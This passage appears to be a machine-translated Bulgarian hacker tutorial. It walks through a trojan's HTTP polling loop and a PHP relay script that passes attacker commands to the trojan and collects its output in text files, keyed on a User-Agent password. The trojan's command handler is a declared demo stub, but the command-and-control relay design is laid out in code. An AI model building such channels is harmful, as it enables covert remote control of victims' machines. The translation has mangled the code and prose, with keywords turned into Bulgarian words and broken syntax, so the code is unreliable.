Кодът, който реализира това, изглежда така:
// първоначално празен заявка
поискване: = »;
// цикъл на Троян
докато истинската задачи
започвам
// Изпращане искането на скрипта
ако (SendStringViaHTTP ( "127.0.0.1", "test1.ru", 80 ", /index.php", искането и отговор)<>0), тогава
започвам
// ако Изпращането е неуспешно - чакай малко и стръмни следващата итерация
сън (1000 * SEC);
продължи;
приключи;
// ако Изпращането е неуспешно - проверка на отговор
ако (отговор = »), след това
започвам
// команди от хакера не е - чистя
Reques,
// чакай малко и стръмни следващата итерация
поискване: = »;
сън (1000 * SEC);
продължи;
приключи;
// ако управлението дойдох тук - за да отговори на нашия екип хакер
// изпълните командата
поискване: = DoCommand (отговор);
приключи;
Отговорът на този въпрос и да поиска нашите глобални променливи от тип AnsiString. Отговорът е друг екип от хакери, които раздават сценария. Command изпълнява функция DoCommand (за това ще говорим малко по-
по-късно). Същата функцията връща резултатите от заповедта да се вписват в искането и подадени на скрипта веднага. Ако командите от сценария не пристигат, троянецът "заспал" на секундите SEC, а след това отново изпраща заявка към сценария.
Сега за DoCommand функция и самите команди. Какво бихте направили в нашия пример за недвижими Троянският кон (CC друго актове;)) всяка команда, предавана от хакер троянски ще отговори тип текст:
23.06.05 01:30:14], прието в изпълнение на командата: реж
извършване Резултат:
Троян не е реално;), така че вместо реж командни изходите на този текст! ))
По този начин нашата "троянски кон" не изпълнява команди, той просто ви позволява да знаете кога и как
командата, получена от сценария. Както можете да видите, че всичко е доста цивилизовано - безвреден пример програма демонстрира принципа на;)))
// функция изпълнява командата и
се връща в резултат на
функция DoCommand (Comm: AnsiString): AnsiString;
Var
systime: SYSTEMTIME;
започвам
// проверява дали има някакъв отбор
ако команд = »след това
започвам
// не - възстановяване празен низ
Резултат: = »;
изход;
приключи;
// ако контролът е достигнал тук, така че отборът има
// определи пристигането на екипа за изпълнение
Резултати: = StringOfChar ( '', 8 + 1 + 8); // 8 в дд.мм.гг, едно пространство, 8 ЧЧ: мм: сс
GetLocalTime (systime);
GetDateFormat (0, 0, @systime "дд.мм.гг ', @Result [1], 8);
GetTimeFormat (0, 0, @systime, "НН: мм: сс", @Result [10] 8);
// определи екипа, който дойде с изпълнението
Резултат: = Резултат + '] приета за отбор изпълнение: '+ Comm +'
";
// Съобщение относно резултатите от:
Резултат: = Резултат + 'резултат на изпълнение:
";
// ако беше истински троянски тогава ще направи оценка на прехвърлените
// екип и ние като напишете в резултат на неговото изпълнение в края
Резултати,
// но тъй като Това е само един пример, ние да прибавите към само този текст:
Резултат: = Резултат + "Троян не е реално;), така че вместо резултатът +
"Команден '+ Comm +' показва този текст! ))
";
приключи;
Мисля, че не е необходимо допълнително обяснение към доведе код. Ufff ... с троянски ни харесва
Ние разбира. Нека сега се обърнем към медиатора на скрипта.
Script прокси запис в PHP. Първо безплатен уеб хостинг с PHP - това наистина не е проблем. Второ PHP като в C ++, което само по себе си не може да не се радвам 😉
На първо място, сценарият трябва да знае паролата на троянския кон, така че в самото начало на скрипта дефинира променливата:
$ TROJAN_PSW = '<тут пароль трояна>";
Всеки път, когато отваряте сценария трябва да провери дали троянците се обърнаха към него. Това е достатъчно, за да погледнем в заглавната част User-Agent:
ако ($ _ СЪРВЪРА [ 'HTTP_USER_AGENT'] == $ TROJAN_PSW) // искане, изпратено от троянците - лечение!
... ... ...
>;
Обработка на искането за троянския кон, първо проверете дали той е изпратил никакви данни. За да направите това, проверете дали не прехвърля
параметрични данни Script. Ако данните се прехвърлят и не е празен - Напълнете я до файла с цел trojan.txt. Когато скриптът ще обработва молбата за хакер го през уеб базиран интерфейс ще му даде trojan.txt съдържанието на файла.
ако (Isset ($ _ POST [ "данни"])) // параметър данни!
$ Data = $ _POST [ 'данни'];
ако (! $ данни = ») // низ в $ данни не е празна - Напълнете
в
// файл trojan.txt
$ F = fopen ( "trojan.txt", "а +);
неуспешно ($ е, $ данни. »
");
fclose ($ е);
>;
>;
На следващо място, ние трябва да мине още един Троян
команда от хакер. Команди, които хакерът изпраща сценария записва в текстов файл hacker.txt а. Ето защо, ние първо проверете дали файлът съществува изобщо hacker.txt:
ако (file_exists ( "hacker.txt")) // файлът съществува - да работя с него
... ... ...
>;
Във всеки ред от файла съдържа hacker.txt един отбор. Това е много удобно, защото трябва да се даде Троян само един отбор на заявка. И в същия ред, в който хакерът изпрати сценария команди.
Тя изпълнява така. Първо четене от файла в масив долара:
// всеки ред от файла става елемент масив
$ A = файл ( "hacker.txt ');
След това проверете дали масивът е празен - защото hacker.txt файл може да съществува, но да е празно. Ако масивът не е празна, ние приемаме от нея на първия елемент (или по-скоро нулев елемент - първия отбор в hacker.txt файл). Преди да се даде команда скрипт, ние сме му "чисти": uberom байта 0x0D, 0x0A (addcslashes функция и да се замени) и интервали в началото и в края (тапицерия функция) на. След това ние даваме "четка" команда троянски коне и изтриване hacker.txt:
ако (брои ($ а)> 0) печат тапицерия (str_replace ( '\ R', », str_replace (" \ Н ",», (addcslashes ($ а [0], «\ R \ н»)))) );
прекратяване на връзката ( "hacker.txt ');
>;
Ако предават командите ни беше единственият, ние ще го оставите в това - ако е необходимо hacker.txt скрипт ще създадете файл отново. Ако, обаче, освен в hacker.txt са другите отбори, създаване на файла отново и ще ги напиша обратно - но без първата, защото го дал на сценария:
// Има ли все още нито един екип?
ако (брои ($ а)> 1) // да! - напишете ги обратно в hacker.txt
$ F = fopen ( "hacker.txt", "w");
за ($ аз = 1; $ аз
fclose ($ е);
>;
В тази работа с троянски завършен - той ще изпрати низ "